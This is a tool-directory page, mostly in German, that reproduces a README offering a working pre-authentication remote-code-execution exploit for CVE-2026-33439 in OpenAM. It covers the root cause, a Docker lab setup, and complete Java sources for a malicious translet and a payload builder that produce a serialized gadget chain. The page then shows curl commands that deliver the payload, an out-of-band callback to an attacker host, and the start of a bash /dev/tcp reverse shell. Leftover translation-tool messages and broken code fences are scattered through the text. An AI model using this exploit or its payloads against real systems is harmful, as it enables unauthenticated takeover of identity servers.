Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-33439 — Erste öffentlich geteilte Exploit-Implementierung für CVE-2026-33439 (OpenAM Pre-Auth-RCE über jato.clientSession-Deserialisierung). | Kitploit
Tools/GitHubGitHub/themalwareguardian/cve-2026-33439
SchwachstellenanalyseCode-AnalyseExploitationReverse EngineeringWebanwendungs-ExploitationMalware-AnalysePenetrationstestsLernen & BildungPayload-Entwicklung

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Binary-Exploitation
Labs & Praxis
GitHubthemalwareguardian/cve-2026-33439

CVE-2026-33439

Erste öffentlich geteilte Exploit-Implementierung für CVE-2026-33439 (OpenAM Pre-Auth-RCE über jato.clientSession-Deserialisierung).

Repository anzeigen
21vor 3 MonatenNoch nicht geprüft

🐞 CVE-2026-33439: Pre-Auth-RCE in OpenAM über die jato.clientSession-Deserialisierung

Menschliche Einsicht + KI-gestützte Analyse + Reverse Engineering + Advisory → Exploit

Erste öffentlich geteilte Exploit-Implementierung für CVE-2026-33439

Java-Deserialisierungsschwachstelle in ForgeRock OpenAM ohne Authentifizierung, die über manipulierte JATO-Sitzungsobjekte vollständige Remote-Code-Ausführung ermöglicht. Derselbe Fluss fließt zweimal: Sie haben jato.pageSession (CVE-2021-35464) behoben und jato.clientSession (CVE-2026-33439) vergessen. Eine Deserialisierungs-Gadget-Kette fragt nicht nach Anmeldedaten.




📑 Inhaltsverzeichnis

  • Übersicht
  • Die CVE-2021-35464-Abstammung
  • CVE-2026-33439-Schwachstellenanalyse
    📂
    • Grundursache
    • Betroffene Versionen
    • Angriffsfläche
  • Die Gadget-Kette
    📂
    • Java-Deserialisierung 101
    • Encoder.decodeHttp64
    • Interna der Gadget-Kette
  • Laborumgebung
    📂
    • Architektur
    • Einrichtung
    • Zugriff
  • Ausnutzung
    📂
    • Voraussetzungen
    • Entdeckung & Aufklärung
    • Die Kodierung verstehen
    • Erstellen des Exploits
    • Payload-Übertragung
    • Verwendung des PoC-Tools
  • Gegenmaßnahmen
  • Referenzen



🎯 Übersicht

CVE-2026-33439 ist eine Remote-Code-Execution-Schwachstelle vor der Authentifizierung (Pre-Auth) in OpenIdentityPlatform OpenAM (Versionen vor 16.0.6). Die Schwachstelle resultiert aus unsicherer Java-Deserialisierung des HTTP-Parameters jato.clientSession innerhalb von ClientSession.deserializeAttributes(), wobei Encoder.deserialize() → ApplicationObjectInputStream.readObject() ohne Anwendung einer Klassen-Whitelist aufgerufen wird.

Ein nicht authentifizierter Angreifer sendet eine manipulierte HTTP-GET- oder HTTP-POST-Anfrage mit einem serialisierten Java-Objekt an einen beliebigen JATO-ViewBean-Endpunkt, dessen JSP <jato:form>-Tags rendert. Beim Empfang deserialisiert der Server das Objekt ohne Validierung, löst eine Gadget-Kette aus, die vollständig aus den im OpenAM-WAR gebündelten Klassen besteht - ohne dass externe Bibliotheken erforderlich sind - und führt beliebige Betriebssystembefehle als Benutzer des Anwendungsprozesses aus.

CVSS 4.0 Vektor: AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N → 9.3 Kritisch

CVSS 3.1 Vektor: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H → 9.8 Kritisch




Tool herunterladen
🧬 Die CVE-2021-35464-Abstammung

Bei dieser Schwachstelle handelt es sich um eine direkte Regression infolge der unvollständigen Korrektur, die nach CVE-2021-35464 angewendet wurde.

  • CVE-2021-35464 (ForgeRock AM / OpenAM): Pre-Auth-RCE über unsichere Deserialisierung des Parameters jato.pageSession. In freier Wildbahn weit verbreitet ausgenutzt; in der CISA-KEV-Liste enthalten. Die Korrektur führte WhitelistObjectInputStream in ConsoleViewBeanBase.deserializePageAttributes() ein - eine benutzerdefinierte ObjectInputStream-Unterklasse, die vor der Instanziierung jeden Klassennamen gegen eine fest codierte Zulassungsliste von ~40 sicheren Klassen prüft.

  • CVE-2026-33439 (OpenAM ≤ 16.0.5): Die Korrektur wurde nur auf jato.pageSession angewendet. Der Parameter jato.clientSession - der über einen völlig getrennten Codepfad in ClientSession.deserializeAttributes() verarbeitet wird - wurde nie gepatcht und verwendet weiterhin das ungefilterte Encoder.deserialize() → ApplicationObjectInputStream, das ObjectInputStream.readObject() ohne Klassen-Whitelist aufruft.

Die Angriffsprimitive ist dieselbe. Das Deserialisierungs-Sink ist ein anderes. Nur der Parametername hat sich geändert.




🔬 CVE-2026-33439-Schwachstellenanalyse

Grundursache

JATO serialisiert den UI-Ansichtszustand in die HTTP-Parameter jato.pageSession und jato.clientSession. Wenn eine Anfrage eintrifft, deserialisiert OpenAM diese Parameter, um den UI-Zustand wiederherzustellen, bevor die Antwort gerendert wird. Die beiden Parameter folgen völlig unterschiedlichen Codepfaden.

Der gepatchte Codepfad (nach CVE-2021-35464) für jato.pageSession:```java // PATCHED - ConsoleViewBeanBase.deserializePageAttributes() ObjectInputStream ois = new WhitelistObjectInputStream(new ByteArrayInputStream(decoded)); // class whitelist enforced - gadget chains blocked Object obj = ois.readObject();

root@kitploit:~
Der ungepatchte Codepfad für jato.clientSession (verwundbar):```java
// ClientSession.java
protected ClientSession(RequestContext context) {
	this.encodedSessionString =
		context.getRequest().getParameter("jato.clientSession");
}

protected void deserializeAttributes() {
	if (this.encodedSessionString != null
		&& this.encodedSessionString.trim().length() > 0) {
		this.setAttributes(
			(Map) Encoder.deserialize(
				// VULNERABLE - URL-safe base64 decode then plain ObjectInputStream
				Encoder.decodeHttp64(this.encodedSessionString), false)
		);
	}
}

Encoder.deserialize() erstellt ein einfaches ApplicationObjectInputStream – eine Unterklasse von ObjectInputStream ohne Klassenfilterung. Jede Klasse auf dem JVM-Klassenpfad kann instanziiert werden. Die Deserialisierung wird während des JSP-Renderings ausgelöst, sobald ein < jato:form >-Tag gerendert wird:``` getClientSession() → hasAttributes() → getEncodedString() → isValid() → ensureAttributes() → deserializeAttributes()

root@kitploit:~
---

<div id="vulnerability_affected"/>

### ***Betroffene Versionen***

| Produkt                     | Verwundbar                                       | Behoben |
|-----------------------------|-------------------------------------------------|---------|
| OpenIdentityPlatform OpenAM | ≤ 16.0.5                                        | 16.0.6  |
| ForgeRock AM (Downstream)   | Möglicherweise betroffen, abhängig von der Patch-Historie | -       |

---

<div id="vulnerability_attacksurface"/>

### ***Angriffsfläche***

Jeder JATO-ViewBean-Endpunkt, dessen JSP ein *< jato:form >*-Tag enthält, ist ohne Authentifizierung ausnutzbar:

| Endpunkt                   | Zweck                                      |
|----------------------------|--------------------------------------------|
| /ui/PWResetUserValidation | Passwort-Reset – Eingabe der Benutzeridentität |
| /ui/PWResetQuestion       | Passwort-Reset – Sicherheitsfragen          |

Passwort-Reset-Endpunkte sind das primäre Ziel; sie sind von Natur aus öffentlich erreichbar und rendern garantiert *< jato:form >*-Tags.



---
---
---



<div id="gadgetchain"/>

## ***⚙️ Die Gadget-Chain***

<div id="gadgetchain_deserialization101"/>

### ***Java-Deserialisierung 101***

Wenn Java ein Objekt aus einem Bytestrom deserialisiert, ruft es readObject() für jede Klasse auf, die es rekonstruiert, einschließlich verschachtelter Objekte. Wenn ein Angreifer den Bytestrom kontrolliert und ein Objekt injiziert, dessen readObject() eine Kette von Methodenaufrufen auslöst, die in der Codeausführung endet, erhält er eine Gadget-Chain-RCE.

Der entscheidende Punkt von CVE-2026-33439: Die Gadget-Chain benötigt keine externen Bibliotheken. Jede Klasse in der Kette ist direkt in der OpenAM-WAR-Datei gebündelt – `openam-core-16.0.5.jar, xalan-2.7.3.jar, and click-nodeps-2.3.0.jar`. <u>Dadurch ist die Schwachstelle auf jeder Standard-OpenAM-Bereitstellung ausnutzbar.</u>

---

<div id="gadgetchain_encoding"/>

### ***Encoder.decodeHttp64***

Das ist das entscheidende Detail, das den Exploit ermöglicht. Die `Encoder`-Klasse in `jato-shaded-16.0.5.jar` verwendet Javas URL-sicheren Base64-Encoder/-Decoder – nicht Standard-Base64 und kein benutzerdefiniertes Zeichensubstitutionsschema.

Verifiziert durch Dekompilieren von Encoder.class:```bash
# Extract Encoder.class from the JATO JAR
jar xf /work/jato-shaded-16.0.5.jar com/iplanet/jato/util/Encoder.class

# Decompile and inspect decodeHttp64
javap -p -c com/iplanet/jato/util/Encoder.class | grep -A10 "decodeHttp64"

[Kein Inhalt zur Übersetzung bereitgestellt.]``` public static byte[] decodeHttp64(java.lang.String); Code: 0: invokestatic #8 // Method java/util/Base64.getUrlDecoder:()Ljava/util/Base64$Decoder; 3: aload_0 4: invokevirtual #9 // Method java/util/Base64$Decoder.decode:(Ljava/lang/String;)[B 7: areturn

root@kitploit:~
URL-sicheres Base64 verwendet '-' anstelle von '+' und '_' anstelle von '/', ohne Padding '='. Die korrekte Kodierung ist:```java
Base64.getUrlEncoder().withoutPadding().encodeToString(serializedBytes)

Jede andere Kodierung, einschließlich standardmäßigem Base64 oder manueller Zeichensubstitution, führt dazu, dass decodeHttp64() eine Ausnahme auslöst oder beschädigte Bytes erzeugt, wodurch die Deserialisierung stillschweigend ohne Fehler in der HTTP-Antwort abgebrochen wird.


Interna der Gadget Chain

Die vollständige Kette unter ausschließlicher Verwendung von Klassen aus der OpenAM WAR:``` PriorityQueue.readObject() [java.util - JDK] → heapify() → siftDown() → comparator.compare() → Column$ColumnComparator.compare(o1, o2) [openam-core-16.0.5.jar] → Column.getTable().isSortedAscending() [click-nodeps-2.3.0.jar] → Column.getProperty(o1) → PropertyUtils.getObjectPropertyValue( [openam-core-16.0.5.jar] o1, "outputProperties") → Method.invoke(o1, "getOutputProperties") → TemplatesImpl.getOutputProperties() [xalan-2.7.3.jar] → getTransletInstance() → defineTransletClasses() → TransletClassLoader.defineClass(_bytecodes) → _class[_transletIndex].newInstance() → EvilTranslet.() [attacker bytecode] → Runtime.getRuntime().exec(cmd)

root@kitploit:~
The input chunk is empty, so there is no content to translate. Please provide the source text for chunk 15 of 73.```bash
# Extract Column$ColumnComparator.class from the JAR
jar xf /work/openam-core-16.0.5.jar 'org/openidentityplatform/openam/click/control/Column$ColumnComparator.class'

# Decompile and inspect the compare() method, reveals getTable() call before getProperty()
javap -p -c 'org/openidentityplatform/openam/click/control/Column$ColumnComparator.class' | grep -A40 "compare"

# Extract and inspect Column.class, reveals getProperty() and setTable() methods
jar xf /work/openam-core-16.0.5.jar org/openidentityplatform/openam/click/control/Column.class

javap -p org/openidentityplatform/openam/click/control/Column.class | grep -i "getProperty\|setTable\|getTable\|getComparator"

Kritischer Hinweis: "Column$ColumnComparator.compare()" ruft "column.getTable().isSortedAscending()" auf, bevor "getProperty()" aufgerufen wird. Wenn "getTable()" null zurückgibt, bricht die Kette mit "NullPointerException" ab, bevor "TemplatesImpl" erreicht wird. Ein "Table"-Objekt muss der "Column" über "column.setTable(table)" zugeordnet sein, bevor serialisiert wird.




🧪 Laborumgebung

Architektur```

┌────────────────────────────────────────────────────────────────┐ │ Docker Network: lab_net │ │ (subnet 10.13.37.0/24) │ │ │ │ ┌──────────────────────────────┐ ┌───────────────────────┐ │ │ │ openam.lab.local │ │ attacker │ │ │ │ OpenAM 16.0.5 WAR │◄──│ Debian bookworm-slim │ │ │ │ Tomcat 10.1.52 + Java 21 │ │ Java 21 (JDK) │ │ │ │ jato.clientSession ← sink │ │ python3, curl, nc │ │ │ │ port 8080 │ │ │ │ │ └──────────────────────────────┘ └───────────────────────┘ │ │ ▲ │ └──────────────────┼─────────────────────────────────────────────┘ │ localhost:8080 ┌──────┴──────┐ │ HOST │ └─────────────┘

root@kitploit:~
| Container               | Image                                    | Rolle                |
|-------------------------|------------------------------------------|----------------------|
| cve_2026_33439_openam   | tomcat:10.1.52-jdk21 + OpenAM 16.0.5 WAR | Verwundbares Ziel    |
| cve_2026_33439_attacker | debian:bookworm-slim                     | Angriffsmaschine     |

> Das Labor verwendet das offizielle OpenAM 16.0.5 WAR, das auf Tomcat 10.1.52 mit Java 21 bereitgestellt wird – exakt die Umgebung, die im GitHub Security Advisory beschrieben ist.

---

<div id="lab_setup"/>

### ***Einrichtung***

<p align="center">
	<img src="https://assets.kitploit.com/production/public/readmes/42320/eb3503ff207da2ca52bfa3d31aa36089671fbc32e784f97ac720b24f9b281aeb.png">
</p>

**Schritt 1 – Laden Sie das offizielle OpenAM 16.0.5 WAR herunter**```powershell
# From PowerShell on the host
cd "01 Vulnerable"

Invoke-WebRequest -Uri "https://github.com/OpenIdentityPlatform/OpenAM/releases/download/16.0.5/OpenAM-16.0.5.war" -OutFile "OpenAM-16.0.5.war"

Schritt 2 - Container starten```powershell docker compose up -d

root@kitploit:~
**Schritt 3 - OpenAM über den Browser konfigurieren**

Navigieren Sie zu "http://localhost:8080/openam", klicken Sie auf "Create Default Configuration" und legen Sie Folgendes fest:

| Feld                           | Wert          |
|---------------------------------|---------------|
| Standard-Benutzerpasswort (amadmin) | Lab@dm1n2026! |
| Agent-Passwort                  | secret12      |

Warten Sie ~2 Minuten, bis die Konfiguration abgeschlossen ist.

**Schritt 4 - Bestätigen, dass Passwort-Reset aktiviert ist**

Melden Sie sich als amadmin an → Konfigurieren → Globale Dienste → Passwort-Reset → aktivieren Sie den Schalter → Änderungen speichern.

**Schritt 5 - Die ausnutzbaren JSP-Endpunkte identifizieren**

Suchen Sie in der WAR-Datei alle JSPs, die *< jato:form >*-Tags enthalten. Diese sind die Endpunkte, an denen die jato.clientSession-Deserialisierung ausgelöst wird:```powershell
# Identify all JSPs containing <jato:form> tags - these are the deserialization sinks
docker exec cve_2026_33439_openam grep -rl "jato:form" /usr/local/tomcat/webapps/openam

# Inspect web.xml to understand how the password reset servlet is mapped to HTTP routes
docker exec cve_2026_33439_openam grep -A5 -B5 "PWReset\|password" /usr/local/tomcat/webapps/openam/WEB-INF/web.xml | Select-String "url-pattern|servlet-name|PWReset|password"

Untersuche den JSP-Quellcode, um zu verstehen, warum jato.clientSession möglicherweise nicht im gerenderten HTML erscheint. Das <jato:form>-Tag ist in <jato:content name="resetPage"> eingebettet, das nur gerendert wird, wenn der ViewBean diesen Block aktiviert. <jato:useViewBean> oben in der JSP instanziiert den ViewBean jedoch immer und verarbeitet jato.clientSession, bevor entschieden wird, welche Blöcke gerendert werden – die Deserialisierung erfolgt zu diesem Zeitpunkt in jedem Fall:```powershell docker exec cve_2026_33439_openam cat /usr/local/tomcat/webapps/openam/password/ui/PWResetUserValidation.jsp

root@kitploit:~
Kein Inhalt zum Übersetzen vorhanden – der Eingabetext (nach `INPUT:`) ist leer. Bitte stelle den Chunk-Inhalt bereit.```jsp
<%-- Always instantiates ViewBean and processes jato.clientSession --%>
<jato:useViewBean className="com.sun.identity.password.ui.PWResetUserValidationViewBean">

	<%-- Only renders if ViewBean activates this block --%>
	<jato:content name="resetPage">
		<jato:form name="PWResetUserValidation" method="post">
			<%-- jato.clientSession hidden field appears here --%>
		</jato:form>
	</jato:content>

</jato:useViewBean>

Schritt 6 - Überprüfen, ob der Endpunkt vor der Authentifizierung erreichbar ist```powershell (Invoke-WebRequest -Uri "http://localhost:8080/openam/ui/PWResetUserValidation" -UseBasicParsing).Content | Select-String "jato"

root@kitploit:~
<div id="lab_access"/>

### ***Zugriff***```powershell
# Drop into the attacker container
docker exec -it cve_2026_33439_attacker bash

Zerlegung:```powershell

stop, keep volumes

docker compose down

full wipe

docker compose down -v

root@kitploit:~
---
---
---



<div id="exploitation"/>

## ***💣 Ausnutzung***

<div id="exploitation_prerequisites"/>

### ***Voraussetzungen***

<p align="center">
	<img src="https://assets.kitploit.com/production/public/readmes/42320/2973d3543882b160a0c3e86bc565ee7e018c3869ebd211fd7acc60dc64dd2975.png">
</p>

| Anforderung            | Hinweise                                                                                                                            |
|------------------------|----------------------------------------------------------------------------------------------------------------------------------|
| JDK 21 (javac)         | Muss mit der JVM-Version übereinstimmen, unter der OpenAM läuft. JRE allein reicht nicht aus, javac wird benötigt, um EvilTranslet und PayloadBuilder zu kompilieren |
| openam-core-16.0.5.jar | Kopiert aus dem OpenAM-Container - enthält Column, Column$ColumnComparator, PropertyUtils                                           |
| xalan-2.7.3.jar        | Kopiert aus dem OpenAM-Container - enthält TemplatesImpl, TransformerFactoryImpl                                                    |
| serializer-2.7.3.jar   | Kopiert aus dem OpenAM-Container - enthält SerializationHandler, der von EvilTranslet verwendet wird                                                |
| click-nodeps-2.3.0.jar | Kopiert aus dem OpenAM-Container - enthält Table (erforderlich für Column$ColumnComparator)                                              |
| click-extras-2.3.0.jar | Kopiert aus dem OpenAM-Container - transitive Abhängigkeit von click-nodeps                                                             |
| jato-shaded-16.0.5.jar | Kopiert aus dem OpenAM-Container - enthält Encoder mit decodeHttp64                                                                |
| servlet-api.jar        | Kopiert aus Tomcat lib/ - Jakarta Servlet API, die für die Serialisierung von Table erforderlich ist                                                |
| Python 3.8+            | Für das PoC-Skript                                                                                                               |
| requests               | pip install requests                                                                                                             |

---

<div id="exploitation_discovery"/>

### ***Entdeckung & Aufklärung***

**Schritt 1 - Bestätigen, dass OpenAM läuft, und Version identifizieren**```
http://localhost:8080/openam/ccversion/Version

Schritt 2 - JATO ViewBean-Endpunkte untersuchen```bash for ENDPOINT in "/ui/PWResetUserValidation" "/ui/PWResetQuestion" "/ui/Login"; do STATUS=$(curl -sk -o /dev/null -w "%{http_code}"
"http://openam.lab.local:8080/openam${ENDPOINT}?jato.clientSession=probe") echo "[HTTP ${STATUS}] ${ENDPOINT}" done

root@kitploit:~
**Schritt 3 - Bestätigen, dass jato.clientSession verarbeitet wird**```bash
curl -sk "http://openam.lab.local:8080/openam/ui/PWResetUserValidation" | grep "jato"

Die Antwort enthält "jato.defaultCommand" und "jato.pageSession", aber nicht "jato.clientSession" im gerenderten HTML – das ist erwartetes Verhalten. Das Feld "jato.clientSession" erscheint nur innerhalb von < jato:content name="resetPage" >, was erfordert, dass der ViewBean diesen Block aktiviert. Allerdings instanziiert < jato:useViewBean > den ViewBean immer und verarbeitet "jato.clientSession", bevor entschieden wird, welche Blöcke gerendert werden. Die Deserialisierung wird zum Zeitpunkt der Instanziierung ausgelöst, unabhängig davon, ob das Feld in der endgültigen HTML-Ausgabe erscheint. Das Vorhandensein von "jato.pageSession" in der Antwort bestätigt, dass die JATO-Serialisierung auf diesem Endpunkt aktiv ist und "jato.clientSession" bei der nächsten Anfrage deserialisiert wird.


Die Kodierung verstehen

Bevor der Exploit erstellt wird, muss die von "Encoder.decodeHttp64()" verwendete Kodierung durch Dekompilieren des JATO-JAR verifiziert werden. Dieser Schritt ist unerlässlich; die Verwendung der falschen Kodierung führt zu einem stillen Deserialisierungsfehler.

Schritt 1 - Kopieren Sie alle erforderlichen JARs aus OpenAM in den Arbeitsbereich des Angreifers

Von PowerShell auf dem Host:```powershell docker cp cve_2026_33439_openam:/usr/local/tomcat/webapps/openam/WEB-INF/lib/openam-core-16.0.5.jar . docker cp openam-core-16.0.5.jar cve_2026_33439_attacker:/work/ docker cp cve_2026_33439_openam:/usr/local/tomcat/webapps/openam/WEB-INF/lib/xalan-2.7.3.jar . docker cp xalan-2.7.3.jar cve_2026_33439_attacker:/work/ docker cp cve_2026_33439_openam:/usr/local/tomcat/webapps/openam/WEB-INF/lib/serializer-2.7.3.jar . docker cp serializer-2.7.3.jar cve_2026_33439_attacker:/work/ docker cp cve_2026_33439_openam:/usr/local/tomcat/webapps/openam/WEB-INF/lib/click-nodeps-2.3.0.jar . docker cp click-nodeps-2.3.0.jar cve_2026_33439_attacker:/work/ docker cp cve_2026_33439_openam:/usr/local/tomcat/webapps/openam/WEB-INF/lib/click-extras-2.3.0.jar . docker cp click-extras-2.3.0.jar cve_2026_33439_attacker:/work/ docker cp cve_2026_33439_openam:/usr/local/tomcat/webapps/openam/WEB-INF/lib/jato-shaded-16.0.5.jar . docker cp jato-shaded-16.0.5.jar cve_2026_33439_attacker:/work/ docker cp cve_2026_33439_openam:/usr/local/tomcat/lib/servlet-api.jar . docker cp servlet-api.jar cve_2026_33439_attacker:/work/

root@kitploit:~
**Schritt 2 - Dekompiliere den Encoder, um die Dekodierungsmethode zu verifizieren**

Aus dem Angreifer-Container heraus:```bash
# Extract Encoder.class from the JATO JAR
jar xf /work/jato-shaded-16.0.5.jar com/iplanet/jato/util/Encoder.class

# Decompile and inspect decodeHttp64
javap -p -c com/iplanet/jato/util/Encoder.class | grep -A10 "decodeHttp64"

Erwartete Ausgabe zur Bestätigung von URL-sicherem Base64:``` public static byte[] decodeHttp64(java.lang.String); Code: 0: invokestatic #8 // Method java/util/Base64.getUrlDecoder:()Ljava/util/Base64$Decoder; 3: aload_0 4: invokevirtual #9 // Method java/util/Base64$Decoder.decode:(Ljava/lang/String;)[B 7: areturn

root@kitploit:~
**Schritt 3 - Dekompiliere Column$ColumnComparator, um den Gadget-Chain-Pfad zu verifizieren**```bash
# Extract Column and ColumnComparator
jar xf /work/openam-core-16.0.5.jar org/openidentityplatform/openam/click/control/Column.class

# Verify compare() calls getTable() before getProperty()
javap -p -c 'org/openidentityplatform/openam/click/control/Column$ColumnComparator.class' | grep -A40 "compare"

This confirms that Column.getTable() must return a non-null Table object, otherwise compare() throws NullPointerException before reaching getProperty() → TemplatesImpl.


Erstellen des Exploits

Alle Befehle aus dem Angreifer-Container heraus.

Schritt 1 - Klassenpfad festlegen```bash CP=/work/openam-core-16.0.5.jar:/work/xalan-2.7.3.jar:/work/serializer-2.7.3.jar:/work/click-nodeps-2.3.0.jar:/work/click-extras-2.3.0.jar:/work/servlet-api.jar:/work

root@kitploit:~
**Schritt 2 – EvilTranslet.java schreiben und kompilieren**

EvilTranslet erweitert AbstractTranslet (von TemplatesImpl benötigt) und führt den Befehl im statischen Initialisierer aus, der bei newInstance() automatisch läuft.```bash
cat > /work/EvilTranslet.java << 'EOF'
import org.apache.xalan.xsltc.TransletException;
import org.apache.xalan.xsltc.runtime.AbstractTranslet;
import org.apache.xml.dtm.DTMAxisIterator;
import org.apache.xml.serializer.SerializationHandler;
import org.apache.xalan.xsltc.DOM;

public class EvilTranslet extends AbstractTranslet {
	static {
		try {
			Runtime.getRuntime().exec(new String[]{"touch", "/tmp/pwned"});
		} catch (Exception ignored) {}
	}
	public void transform(DOM d, SerializationHandler[] h) throws TransletException {}
	public void transform(DOM d, DTMAxisIterator i, SerializationHandler h) throws TransletException {}
}
EOF

javac -cp $CP /work/EvilTranslet.java

Schritt 3 - PayloadBuilder.java schreiben und kompilieren

PayloadBuilder konstruiert die Gadget-Kette und gibt das URL-sichere, Base64-kodierte, serialisierte Payload aus.```bash cat > /work/PayloadBuilder.java << 'EOF' import org.apache.xalan.xsltc.trax.TemplatesImpl; import org.apache.xalan.xsltc.trax.TransformerFactoryImpl; import org.openidentityplatform.openam.click.control.Column; import org.openidentityplatform.openam.click.control.Table;

import java.io.*; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.Base64; import java.util.Comparator; import java.util.PriorityQueue;

public class PayloadBuilder {

root@kitploit:~
// Encoder.decodeHttp64() uses Java URL-safe base64 (getUrlDecoder)
static String encodeHttp64(byte[] data) {
	return Base64.getUrlEncoder().withoutPadding().encodeToString(data);
}

static void setField(Object obj, String name, Object value) throws Exception {
	Field f = obj.getClass().getDeclaredField(name);
	f.setAccessible(true);
	f.set(obj, value);
}

static void setFieldPQ(Object obj, String name, Object value) throws Exception {
	Field f = PriorityQueue.class.getDeclaredField(name);
	f.setAccessible(true);
	f.set(obj, value);
}

public static void main(String[] args) throws Exception {
	byte[] bytecode = Files.readAllBytes(Paths.get(args[0]));

	// Step 1 - TemplatesImpl with EvilTranslet bytecode
	// getOutputProperties() -> defineTransletClasses() -> newInstance() -> <clinit>
	TemplatesImpl templates = new TemplatesImpl();
	setField(templates, "_bytecodes",     new byte[][]{ bytecode });
	setField(templates, "_name",          "EvilTranslet");
	setField(templates, "_tfactory",      new TransformerFactoryImpl());
	setField(templates, "_transletIndex", 0);

	// Step 2 - Column with Table associated
	// Column$ColumnComparator.compare() calls column.getTable().isSortedAscending() before calling column.getProperty(). Table must not be null.
	Table table = new Table();
	Column column = new Column("outputProperties");
	column.setTable(table);

	@SuppressWarnings("unchecked")
	Comparator<Object> comparator = (Comparator<Object>) column.getComparator();

	// Step 3 - PriorityQueue as deserialization trigger
	// readObject() -> heapify() -> siftDown() -> comparator.compare()
	// Size must be >= 2 for heapify to call compare()
	PriorityQueue<Object> queue = new PriorityQueue<>(2, comparator);
	setFieldPQ(queue, "queue", new Object[]{ templates, templates });
	setFieldPQ(queue, "size",  2);

	// Step 4 - Serialize and URL-safe base64 encode
	ByteArrayOutputStream baos = new ByteArrayOutputStream();
	ObjectOutputStream oos = new ObjectOutputStream(baos);
	oos.writeObject(queue);
	oos.close();

	System.out.println(encodeHttp64(baos.toByteArray()));
}

} EOF

javac -cp $CP /work/PayloadBuilder.java

root@kitploit:~
**Schritt 4 - Payload generieren**```bash
java --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED -cp $CP PayloadBuilder /work/EvilTranslet.class > /work/payload.b64

# Verify it starts with the Java serialization magic bytes (rO0A = \xACED\x00\x05 in base64)
head -c 10 /work/payload.b64

Payload-Zustellung

RCE mit einem Out-of-Band-HTTP-Callback bestätigen

Terminal 1 - Listener:``` docker exec -it cve_2026_33439_attacker bash

nc -lvnp 9999

root@kitploit:~
Terminal 2 - Callback-Payload generieren und senden:```
docker exec -it cve_2026_33439_attacker bash

cat > /work/EvilTranslet.java << 'EOF'
import org.apache.xalan.xsltc.TransletException;
import org.apache.xalan.xsltc.runtime.AbstractTranslet;
import org.apache.xml.dtm.DTMAxisIterator;
import org.apache.xml.serializer.SerializationHandler;
import org.apache.xalan.xsltc.DOM;

public class EvilTranslet extends AbstractTranslet {
	static {
		try {
			Runtime.getRuntime().exec(new String[]{"curl", "http://attacker:9999/pwned"});
		} catch (Exception ignored) {}
	}
	public void transform(DOM d, SerializationHandler[] h) throws TransletException {}
	public void transform(DOM d, DTMAxisIterator i, SerializationHandler h) throws TransletException {}
}
EOF

CP=/work/openam-core-16.0.5.jar:/work/xalan-2.7.3.jar:/work/serializer-2.7.3.jar:/work/click-nodeps-2.3.0.jar:/work/click-extras-2.3.0.jar:/work/servlet-api.jar:/work

javac -cp $CP /work/EvilTranslet.java

java --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED -cp $CP PayloadBuilder /work/EvilTranslet.class > /work/payload_http.b64

PAYLOAD=$(cat /work/payload_http.b64)

curl -sk -G "http://openam.lab.local:8080/openam/ui/PWResetUserValidation" --data-urlencode "jato.clientSession=${PAYLOAD}" | grep "jato."

Wenn RCE funktioniert, empfängt Terminal 1 eine eingehende HTTP-Verbindung vom OpenAM-Server:``` nc -lvnp 9999 listening on [any] 9999 ... connect to [10.13.37.2] from (UNKNOWN) [10.13.37.3] 51992 GET /pwned HTTP/1.1 Host: attacker:9999 User-Agent: curl/8.5.0 Accept: /

root@kitploit:~
**Datei-Artefakt schreiben**

<p align="center">
	<img src="https://assets.kitploit.com/production/public/readmes/42320/1a393801c28cfd5e0e6a39210562399aa1840cf7bd25bc839a397f627729c037.png">
</p>```
cat > /work/EvilTranslet.java << 'EOF'
import org.apache.xalan.xsltc.TransletException;
import org.apache.xalan.xsltc.runtime.AbstractTranslet;
import org.apache.xml.dtm.DTMAxisIterator;
import org.apache.xml.serializer.SerializationHandler;
import org.apache.xalan.xsltc.DOM;

public class EvilTranslet extends AbstractTranslet {
	static {
		try {
			Runtime.getRuntime().exec(new String[]{"touch", "/tmp/pwned"});
		} catch (Exception ignored) {}
	}
	public void transform(DOM d, SerializationHandler[] h) throws TransletException {}
	public void transform(DOM d, DTMAxisIterator i, SerializationHandler h) throws TransletException {}
}
EOF

CP=/work/openam-core-16.0.5.jar:/work/xalan-2.7.3.jar:/work/serializer-2.7.3.jar:/work/click-nodeps-2.3.0.jar:/work/click-extras-2.3.0.jar:/work/servlet-api.jar:/work

javac -cp $CP /work/EvilTranslet.java

java --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED -cp $CP PayloadBuilder /work/EvilTranslet.class > /work/payload_file.b64

PAYLOAD=$(cat /work/payload_file.b64)

curl -sk -G "http://openam.lab.local:8080/openam/ui/PWResetUserValidation" --data-urlencode "jato.clientSession=${PAYLOAD}" | grep "jato."

Von PowerShell aus überprüfen:``` docker exec cve_2026_33439_openam ls -la /tmp/pwned

root@kitploit:~
**Reverse shell**

<p align="center">
	<img src="https://assets.kitploit.com/production/public/readmes/42320/3e8c65c8fc037c62904e16abf7ffce67ecf3f9af373ee6dd8b63691579d5d1ac.png">
</p>

Terminal 1 - Listener:```
docker exec -it cve_2026_33439_attacker bash

nc -lvnp 4444

Terminal 2 - Liefern:``` docker exec -it cve_2026_33439_attacker bash

CMD='bash -i >& /dev/tcp/attacker/4444 0>&1'

B64CMD=$(echo "$CMD" | base64 -w 0)

